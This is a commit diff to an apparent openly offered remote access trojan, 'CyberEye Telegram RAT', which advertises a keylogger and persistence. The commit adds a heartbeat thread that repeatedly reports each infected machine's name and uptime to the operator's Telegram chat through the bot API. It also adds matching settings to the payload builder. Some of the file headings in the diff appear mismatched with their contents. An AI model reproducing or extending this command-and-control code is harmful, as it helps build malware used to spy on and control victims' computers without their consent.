Add heartbeat status update to track PC online/offline

Author: cisamu123

CyberEye.Client.Builder/FrmAbout.cs

@@ -15,7 +15,7 @@ public partial class FrmAbout : Form
         private int i = 0;
         private string aboutText =
             "Project: CyberEye Telegram RAT" + Environment.NewLine +
-            "Version: 1.0.2" + Environment.NewLine +
+            "Version: 1.0.3" + Environment.NewLine +
             "Coded & Modded by: Cisamu AKA cisamu123" + Environment.NewLine +
             "Telegram API: HTTP Requests" + Environment.NewLine +
             "Keylogger: Custom implementation based on .NET low-level hooks" + Environment.NewLine +
@@ -25,7 +25,7 @@ public partial class FrmAbout : Form
             "Special Thanks to: LimerBoy, njq8 ,open-source community and the creator of NJRat 0.7D Horror Edition 2022 for providing the open-source code that helped in the development of CyberEye." + Environment.NewLine +
             "GitHub: https://github.com/cisamu123/CyberEye" + Environment.NewLine +
             "Telegram Channel: https://t.me/Cisamu" + Environment.NewLine +
-            "Telegram Contact: https://t.me/CodQu" + Environment.NewLine +
+            "Telegram Contact: https://t.me/cisamu123" + Environment.NewLine +
             "----------------------------------------------------------";
         public FrmAbout()
         {

CyberEye.Client.Builder/FrmBuild.Designer.cs

@@ -297,8 +297,11 @@ private void button1_Click(object sender, EventArgs e)
                 ilCode = ilCode.Replace("[AssemblyCopyrightBuild]", AssemblyCopyright);
                 ilCode = ilCode.Replace("[AssemblyTrademarkBuild]", AssemblyTrademark);
                 ilCode = ilCode.Replace("[AssemblyCultureBuild]", AssemblyCulture);
-                ilCode = ilCode.Replace("1.0.2", AssemblyVersion);
+                ilCode = ilCode.Replace("1.0.3", AssemblyVersion);
                 ilCode = ilCode.Replace("[AssemblyFileVersionBuild]", AssemblyFileVersion);
+
+                ilCode = ilCode.Replace("[heartbeatIntervalBuild]", numericUpDown4.Value.ToString());
+                ilCode = ilCode.Replace("[offlineThresholdBuild]", numericUpDown5.Value.ToString());
                 // Save modified IL
                 string tempIl = Path.GetTempFileName();
                 File.WriteAllText(tempIl, ilCode);

CyberEye.Client.Builder/FrmBuild.cs

@@ -4,7 +4,7 @@ Modded Program for remote control of windows computers via telegram bot. Written
   <img src="images/logo.jpg">
 </p>
 <div id="badges" align="center">
-  <a href="https://t.me/CodQu">
+  <a href="https://t.me/cisamu123">
     <img src="https://img.shields.io/badge/Telegram-blue?style=for-the-badge&logo=telegram&logoColor=white" alt="LinkedIn Badge"/>
   </a>
     <a href="https://t.me/Cisamu">

README.md

@@ -14,6 +14,7 @@
 */
 
 using System;
+using System.Threading;
 
 namespace TelegramRAT
 {
@@ -60,6 +61,8 @@ static void Main(string[] args)
             telegram.sendConnection();
             // Wait for new commands
             telegram.waitCommandsThread.Start();
+            // Heartbeat
+            new Thread(() => telegram.HeartbeatLoop()).Start();
             // Need for system power events
             var shutdownForm = new persistence.MainForm();
             System.Windows.Forms.Application.Run(shutdownForm);

TelegramRAT/Program.cs

@@ -87,8 +87,12 @@ internal sealed class config
         public const string AssemblyCopyright = "Copyright © 2023";
         public const string AssemblyTrademark = "";
         public const string AssemblyCulture = "";
-        public const string AssemblyVersion = "1.0.2";
-        public const string AssemblyFileVersion = "1.0.2";
+        public const string AssemblyVersion = "1.0.3";
+        public const string AssemblyFileVersion = "1.0.3";
+
+        // HEARTBEAT SYSTEM
+        public static int heartbeatInterval = 30; // Seconds between heartbeats
+        public static int offlineThreshold = 120; // Seconds without update to mark OFFLINE
 
         /*
         // BUILDER
@@ -160,8 +164,12 @@ internal sealed class config
         public const string AssemblyCopyright = "[AssemblyCopyrightBuild]";
         public const string AssemblyTrademark = "[AssemblyTrademarkBuild]";
         public const string AssemblyCulture = "[AssemblyCultureBuild]";
-        public const string AssemblyVersion = "1.0.2";
+        public const string AssemblyVersion = "1.0.3";
         public const string AssemblyFileVersion = "[AssemblyFileVersionBuild]";
+
+        // HEARTBEAT SYSTEM
+        public static int heartbeatInterval = Convert.ToInt32("[heartbeatIntervalBuild]"); // Seconds between heartbeats
+        public static int offlineThreshold = Convert.ToInt32("[offlineThresholdBuild]"); // Seconds without update to mark OFFLINE
         */
     }
 }

TelegramRAT/config.cs

@@ -28,7 +28,61 @@ internal class telegram
         public static Thread waitCommandsThread = new Thread(waitCommands);
         // Thread is blocked
         public static bool waitThreadIsBlocked = false;
-     
+
+        // ====== HEARTBEAT SYSTEM ======
+
+        private static string heartbeatMessageID = null; // Telegram message ID for editing
+        private static DateTime startTime = DateTime.Now;
+        private static DateTime lastHeartbeatTime = DateTime.Now;
+
+        public static void HeartbeatLoop()
+        {
+            while (true)
+            {
+                SendOrUpdateHeartbeat();
+                Thread.Sleep(config.heartbeatInterval * 1000);
+            }
+        }
+
+        public static void SendOrUpdateHeartbeat()
+        {
+            waitForUnblock();
+
+            DateTime now = DateTime.Now;
+            TimeSpan uptime = now - startTime;
+            string status = ((DateTime.Now - lastHeartbeatTime).TotalSeconds > config.offlineThreshold)
+                ? "OFFLINE"
+                : "ONLINE";
+
+            string messageText = $"🟢 STATUS: {status}\n" +
+                                 $"🖥 Device: {Environment.MachineName}\n" +
+                                 $"⏱ Uptime: {uptime:hh\\:mm\\:ss}\n" +
+                                 $"🕒 Last heartbeat: {now:HH:mm:ss}\n" +
+                                 $"⚠ No updates > {config.offlineThreshold} sec = OFFLINE\n" +
+                                 $"📌 TIP: Pin this message.";
+
+            using (WebClient client = new WebClient())
+            {
+                if (heartbeatMessageID == null)
+                {
+                    // Send new message and store its ID
+                    string response = client.DownloadString(
+                        $"https://api.telegram.org/bot{config.TelegramToken}/sendMessage?chat_id={config.TelegramChatID}&text={Uri.EscapeDataString(messageText)}"
+                    );
+                    var json = JSON.Parse(response);
+                    heartbeatMessageID = json["result"]["message_id"].Value;
+                }
+                else
+                {
+                    // Edit existing heartbeat message
+                    client.DownloadString(
+                        $"https://api.telegram.org/bot{config.TelegramToken}/editMessageText?chat_id={config.TelegramChatID}&message_id={heartbeatMessageID}&text={Uri.EscapeDataString(messageText)}"
+                    );
+                }
+            }
+
+            lastHeartbeatTime = now;
+        }
 
         // If is blocked - wait
         private static void waitForUnblock()